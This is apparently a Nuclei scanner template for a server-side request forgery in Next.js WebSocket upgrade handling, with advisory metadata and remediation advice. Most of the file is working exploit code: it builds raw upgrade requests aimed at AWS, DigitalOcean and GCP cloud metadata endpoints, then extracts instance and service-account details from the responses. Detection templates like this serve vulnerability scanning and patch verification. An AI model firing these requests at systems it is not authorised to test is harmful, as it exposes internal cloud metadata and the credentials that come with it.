id: CVE-2026-44578 info: name: Next.js WebSocket Upgrade Handler - SSRF author: hacktron,DhiyaneshDk severity: high description: | Next.js 13.4.13 to before 15.5.16 and 16.2.5 contains a server-side request forgery caused by crafted WebSocket upgrade requests in the built-in Node.js server, letting attackers proxy requests to arbitrary destinations, exploit requires self-hosted deployment. impact: | Attackers can proxy requests to internal or external services, exposing sensitive internal resources or cloud metadata endpoints. remediation: Upgrade to versions 15.5.16 or 16.2.5 or later. reference: - https://github.com/advisories/GHSA-c4j6-fc7j-m34r - https://nextjs.org/blog/next-15-5-16 - https://app.hacktron.ai/disclosed/scans/web_dmVyY2VsL25leHQtanMtbWlycm9y_1774994038380_2hfQkCKG/findings/66f26e9e-a71f-4997-85be-a0b5fa3b7d89 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cve-id: CVE-2026-44578 epss-score: 0.0581 epss-percentile: 0.90675 cwe-id: CWE-918 metadata: verified: true max-request: 3 vendor: vercel product: nextjs shodan-query: http.component:"Next.js" tags: cve,cve2026,nextjs,ssrf,websocket,cloud javascript: - pre-condition: | isPortOpen(Host, TargetPort); args: Host: "{{Host}}" TargetPort: "{{Port}}" code: | let net = require('nuclei/net'); function request(path, headers) { let conn = net.Open('tcp', Host + ':' + TargetPort); conn.SetTimeout(10); let payload = 'GET ' + path + ' HTTP/1.1\r\n' + 'Host: ' + Host + '\r\n' + 'Connection: Upgrade\r\n' + 'Upgrade: websocket\r\n' + 'Sec-WebSocket-Version: 13\r\n' + 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n' + headers + '\r\n'; conn.Send(payload); let response = ''; for (let i = 0; i < 10; i++) { try { let chunk = conn.RecvString(); if (!chunk) break; response += chunk; } catch (e) { break; } } conn.Close(); return response; } let response = ''; response += request('http://169.254.169.254/metadata/v1.json', ''); response += '\n---AWS---\n'; response += request('http://169.254.169.254/latest/meta-data/', ''); response += '\n---GCP---\n'; response += request( 'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true', 'Metadata-Flavor: Google\r\n' ); Export(response); matchers-condition: or matchers: - type: dsl name: digitalocean dsl: - 'contains(response, "\"droplet_id\"")' - 'contains(response, "\"hostname\"")' condition: and - type: word name: aws part: response words: - "ami-id" - "instance-id" condition: and - type: dsl name: gcp dsl: - 'contains(response, "\"machineType\"")' - 'contains(response, "\"zone\"")' - 'contains(response, "\"serviceAccounts\"")' - 'contains(response, "\"networkInterfaces\"")' condition: and extractors: - type: regex name: digitalocean-hostname part: response group: 1 regex: - '"hostname"\s*:\s*"([^"]+)"' - type: regex name: aws-metadata-keys part: response regex: - '(ami-id|instance-id|instance-type|local-hostname|public-hostname)' - type: regex name: gcp-machine-type part: response group: 1 regex: - '"machineType"\s*:\s*"([^"]+)"' # digest: 4a0a00473045022064c5050ab5bd5c97addb29af94ae599b7a8c1de56c9f3c148f8271f2081fa6800221008d4099b2bf486cbec76805ea5bde27fc84e39d31163c01413d0fe3fcf313928a:922c64590222798bb761d5b6d8e72950